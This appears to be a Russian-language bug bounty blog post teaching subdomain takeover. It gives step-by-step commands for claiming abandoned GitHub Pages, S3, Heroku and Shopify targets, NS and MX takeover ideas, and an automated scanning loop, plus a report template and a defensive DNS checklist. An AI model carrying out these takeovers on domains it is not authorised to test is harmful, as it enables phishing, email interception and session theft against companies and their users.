🚪 Subdomain takeover за чашкой травяного чая: пошаговый гайд
Привет, хакеры! ☕ Сегодня поговорим об одной из самых недооценённых, но прибыльных уязвимостей — subdomain takeover. Это когда ты буквально захватываешь чужой поддомен и делаешь с ним что хочешь.
Звучит сложно? Нет! Это настолько просто, что можно сделать за время, пока заваривается чай. Я серьёзно. 🍵
🔍 Что такое Subdomain Takeover?
Простыми словами:
Компания создала поддомен `blog.company.com`, который указывает на внешний сервис (GitHub Pages, AWS S3, Heroku и т.д.). Потом они:
• Удалили проект на этом сервисе
• Забыли убрать DNS-запись
Результат: DNS говорит “blog.company.com → github-project”, но проекта на GitHub больше нет. Ты создаёшь проект с тем же именем → BOOM! Теперь это твой поддомен. 💣
Чем это опасно:
• Фишинг под брендом компании
• XSS на основном домене (через cookies)
• Кража session tokens
• SEO hijacking
• Репутационный ущерб
🎯 Уязвимые сервисы (топ-10 в 2025)
Лайфхак: Сохрани эту табличку — это твой чит-код для находок! 📋
🛠️ Инструменты для охоты
# Subjack - мой любимый (быстрый и точный)
go install github.com/haccer/subjack@latest
subjack -w subdomains.txt -t 100 -timeout 30 -ssl -o takeovers.txt
# SubOver - альтернатива
go install github.com/Ice3man543/SubOver@latest
subover -l subdomains.txt
# Nuclei с темплейтами для takeover
nuclei -l subdomains.txt -t ~/nuclei-templates/takeovers/
# Can-I-Take-Over-XYZ - база знаний
# https://github.com/EdOverflow/can-i-take-over-xyz
Мой setup для автоматизации:
#!/bin/bash
# subdomain-hunter.sh
TARGET=$1
echo "[🔍] Собираем поддомены для $TARGET"
# Subfinder + Amass
subfinder -d $TARGET -o subs_tmp.txt -silent
amass enum -d $TARGET -o amass_tmp.txt -passive
# Объединяем и удаляем дубли
cat subs_tmp.txt amass_tmp.txt | sort -u > all_subs.txt
echo "[🎯] Найдено $(wc -l < all_subs.txt) поддоменов"
# Проверяем живые хосты
cat all_subs.txt | httpx -silent -o alive.txt
echo "[💣] Ищем takeover возможности"
# Subjack
subjack -w alive.txt -t 100 -timeout 30 -ssl -c ~/fingerprints.json -v 3 -o takeover_found.txt
echo "[✅] Готово! Проверяй takeover_found.txt"
🔥 Пошаговый гайд: захватываем поддомен
Шаг 1: Находим уязвимый поддомен (2 минуты)
# Собираем поддомены
subfinder -d target.com -o subs.txt
# Проверяем на takeover
subjack -w subs.txt -t 100 -ssl -o results.txt
Что ищем в выводе:
[VULNERABLE] blog.target.com [GitHub]
Отлично! Нашли кандидата. ☕ (Завариваем чай)
Шаг 2: Проверяем вручную (1 минута)
# Смотрим DNS запись
dig blog.target.com
# Вывод:
blog.target.com. 3600 IN CNAME oldproject.github.io.
Открываем в браузере `blog.target.com`:
There isn't a GitHub Pages site here.
БИНГО! Поддомен указывает на несуществующий GitHub Pages. 💰
Шаг 3: Захватываем (3 минуты)
Для GitHub Pages:
1. Создаём репозиторий на GitHub с именем `oldproject`
2. Включаем GitHub Pages в настройках
3. Добавляем файл `CNAME` с содержимым:
blog.target.com
- Создаём `index.html`:
<!DOCTYPE html>
<html>
<head>
<title>Subdomain Takeover PoC</title>
</head>
<body>
<h1>Proof of Concept - Subdomain Takeover</h1>
<p>This subdomain (blog.target.com) was vulnerable to takeover.</p>
<p>Researcher: YourName</p>
<p>Date: 2025-10-06</p>
</body>
</html>
- Commit & Push
Через 1-2 минуты: Заходим на `blog.target.com` → видим свой HTML! 🎉
☕ (Чай заварился, самое время сделать глоток)
Шаг 4: Пишем отчёт (5 минут)
## Vulnerability: Subdomain Takeover
**Severity:** High/Critical
**Affected Asset:** blog.target.com
**Vulnerability Type:** Subdomain Takeover via GitHub Pages
### Description:
The subdomain blog.target.com has a CNAME record pointing to
oldproject.github.io, which does not exist. This allows an attacker
to claim the GitHub Pages site and control the subdomain.
### Proof of Concept:
1. DNS Record: blog.target.com CNAME oldproject.github.io
2. GitHub Pages site does not exist
3. Created repository and claimed the subdomain
4. URL: https://blog.target.com (now shows PoC page)
### Impact:
- Phishing attacks using company domain
- Session hijacking via cookies
- XSS on main domain
- Brand reputation damage
### Remediation:
1. Remove DNS CNAME record for blog.target.com
2. Implement DNS monitoring for dangling records
3. Document all external services in use
### Screenshots:
[Attach DNS lookup, browser screenshot, GitHub repo]
Отправляем → ждём $$$! 💸
🎯 Популярные векторы для разных сервисов
GitHub Pages Takeover
# 1. Находим уязвимый поддомен
dig docs.target.com
# Вывод: CNAME old-repo.github.io
# 2. Создаём репозиторий old-repo на GitHub
# 3. Settings → Pages → Enable
# 4. Добавляем CNAME файл с docs.target.com
# 5. Profit!
AWS S3 Takeover
# 1. Находим bucket
dig assets.target.com
# Вывод: CNAME old-bucket.s3.amazonaws.com
# 2. Проверяем существование
curl https://old-bucket.s3.amazonaws.com
# Ответ: NoSuchBucket
# 3. Создаём bucket с тем же именем
aws s3 mb s3://old-bucket --region us-east-1
# 4. Делаем публичным и загружаем index.html
aws s3 cp index.html s3://old-bucket/ --acl public-read
aws s3 website s3://old-bucket/ --index-document index.html
# 5. Захвачено!
Важно: В 2025 AWS усложнили создание bucket’ов с именами, которые недавно удалили. Есть grace period ~30 дней. Но всё ещё находятся старые! 🔥
Heroku Takeover
# 1. Находим приложение
dig api.target.com
# Вывод: CNAME old-app.herokuapp.com
# 2. Проверяем
curl https://api.target.com
# Ответ: "No such app"
# 3. Создаём приложение
heroku create old-app
# 4. Деплоим простой HTML
echo "<h1>PoC</h1>" > index.html
git init && git add . && git commit -m "poc"
heroku git:remote -a old-app
git push heroku master
# 5. Done!
Shopify Takeover
# 1. Находим магазин
dig shop.target.com
# Вывод: CNAME old-store.myshopify.com
# 2. Проверяем
curl https://shop.target.com
# Ответ: "Sorry, this shop is currently unavailable"
# 3. Регистрируем магазин old-store на Shopify
# 4. В настройках добавляем домен shop.target.com
# 5. Takeover complete!
Bounty: Shopify takeover’ы платят особенно хорошо ($5k-$15k), потому что через них можно фишинговать платёжные данные. 💳
🔥 Продвинутые техники
Техника #1: Wildcard subdomain takeover
# Находим wildcard DNS
dig *.cdn.target.com
# Если указывает на уязвимый сервис
# Можешь захватить ВСЕ поддомены формата *.cdn.target.com
# Impact растёт x100!
Техника #2: Takeover через NS records
# Проверяем NS записи поддоменов
dig ns1.target.com NS
# Если NS указывает на несуществующий сервер
# Можешь зарегистрировать этот NS и контролировать весь DNS!
Это critical severity! 💀
Техника #3: Email takeover через MX records
# Смотрим MX записи
dig mail.target.com MX
# Если указывает на удалённый email-сервис (Mailgun, SendGrid)
# Захватываешь → можешь читать/отправлять email от имени компании
Impact: Password reset emails, internal communications → полный pwn! 🎯
Техника #4: CDN takeover
# CloudFront
dig cdn.target.com
# CNAME d111111abcdef8.cloudfront.net
# Если distribution удалён
# Создаёшь новый CloudFront distribution с альтернативным доменом cdn.target.com
💡 Автоматизация: мониторинг 24/7
Скрипт для постоянного мониторинга:
import subprocess
import time
import requests
def check_takeover(domain):
# Subjack проверка
result = subprocess.run(
['subjack', '-d', domain, '-ssl'],
capture_output=True, text=True
)
if 'VULNERABLE' in result.stdout:
# Отправляем уведомление
requests.post('https://api.telegram.org/bot<TOKEN>/sendMessage',
json={
'chat_id': 'YOUR_CHAT_ID',
'text': f'🚨 TAKEOVER FOUND: {domain}'
}
)
return True
return False
# Список целей
targets = ['target1.com', 'target2.com', 'target3.com']
while True:
for target in targets:
# Собираем поддомены
subprocess.run(['subfinder', '-d', target, '-o', f'{target}_subs.txt'])
# Проверяем каждый
with open(f'{target}_subs.txt') as f:
for subdomain in f:
subdomain = subdomain.strip()
if check_takeover(subdomain):
print(f'[+] Takeover found: {subdomain}')
# Проверяем раз в день
time.sleep(86400)
Setup и забываешь → деньги капают сами! 💰
🎯 Где искать в 2025?
Горячие точки:
✅ Старые marketing-кампании — promo.company.com, event2020.company.com
✅ Документация — docs., api-docs., developers.*
✅ CDN поддомены — cdn., static., assets.*
✅ Региональные сайты — uk.company.com, de.company.com (часто забывают)
✅ Поддомены поддоменов — blog.staging.company.com
✅ Email инфраструктура — mail., smtp., newsletter.*
🔐 Защита для админов
Чеклист безопасности:
✅ Инвентаризация DNS — документируй ВСЕ записи
✅ Автоматический мониторинг — используй инструменты типа dnstwist
✅ Lifecycle management — при удалении сервиса → удаляй DNS
✅ Централизованное управление — используй Terraform для DNS
✅ Alerts на изменения DNS — CloudFlare/Route53 логи
✅ Grace period policy — не удаляй сервисы резко, держи redirect 30+ дней
Скрипт для защиты:
#!/bin/bash
# dns-monitor.sh - запускай раз в день через cron
# Получаем все DNS записи
dig +noall +answer ANY yourdomain.com > current_dns.txt
# Сравниваем с предыдущим snapshot'ом
if [ -f previous_dns.txt ]; then
diff previous_dns.txt current_dns.txt > dns_changes.txt
if [ -s dns_changes.txt ]; then
# Есть изменения - отправляем алерт
mail -s "DNS Changes Detected" security@company.com < dns_changes.txt
fi
fi
# Сохраняем текущее состояние
cp current_dns.txt previous_dns.txt
🎓 Мораль истории
Subdomain takeover — это low-hanging fruit с high impact.
Пока компании удаляют старые проекты и забывают про DNS, мы зарабатываем. Это как находить потерянные ключи от квартиры — если никто не поднял, они твои. 🔑
Ключевые моменты:
• Проще всего для новичков (не нужно знать эксплойты)
• Высокий bounty при минимальных усилиях
• Автоматизируется на 100%
• Легально и этично (в рамках bug bounty)
Инвестируй 1 час в setup автоматизации → получай находки на автомате месяцами. 🤖💰
🚀 Домашка для хакеров
1. Выбери 5 компаний из bug bounty программ
2. Собери их поддомены (subfinder + amass)
3. Прогони через subjack
4. Найди свой первый takeover
5. Напиши правильный отчёт
Удачной охоты, захватывайте поддомены как боссы! 🚪🔥
P.S. Чай остыл, пока писал этот гайд. Но ты успеешь найти takeover быстрее, чем он заварится. Поверь. ☕😎
P.P.S. Всегда делай безопасный PoC: покажи контроль над поддоменом, но не делай вредоносных действий. Это разница между bounty и судом. Stay ethical! 🔐
Не все техники работают для РФ, поэтому нужно адаптироваться и креативить в условиях рынка России.
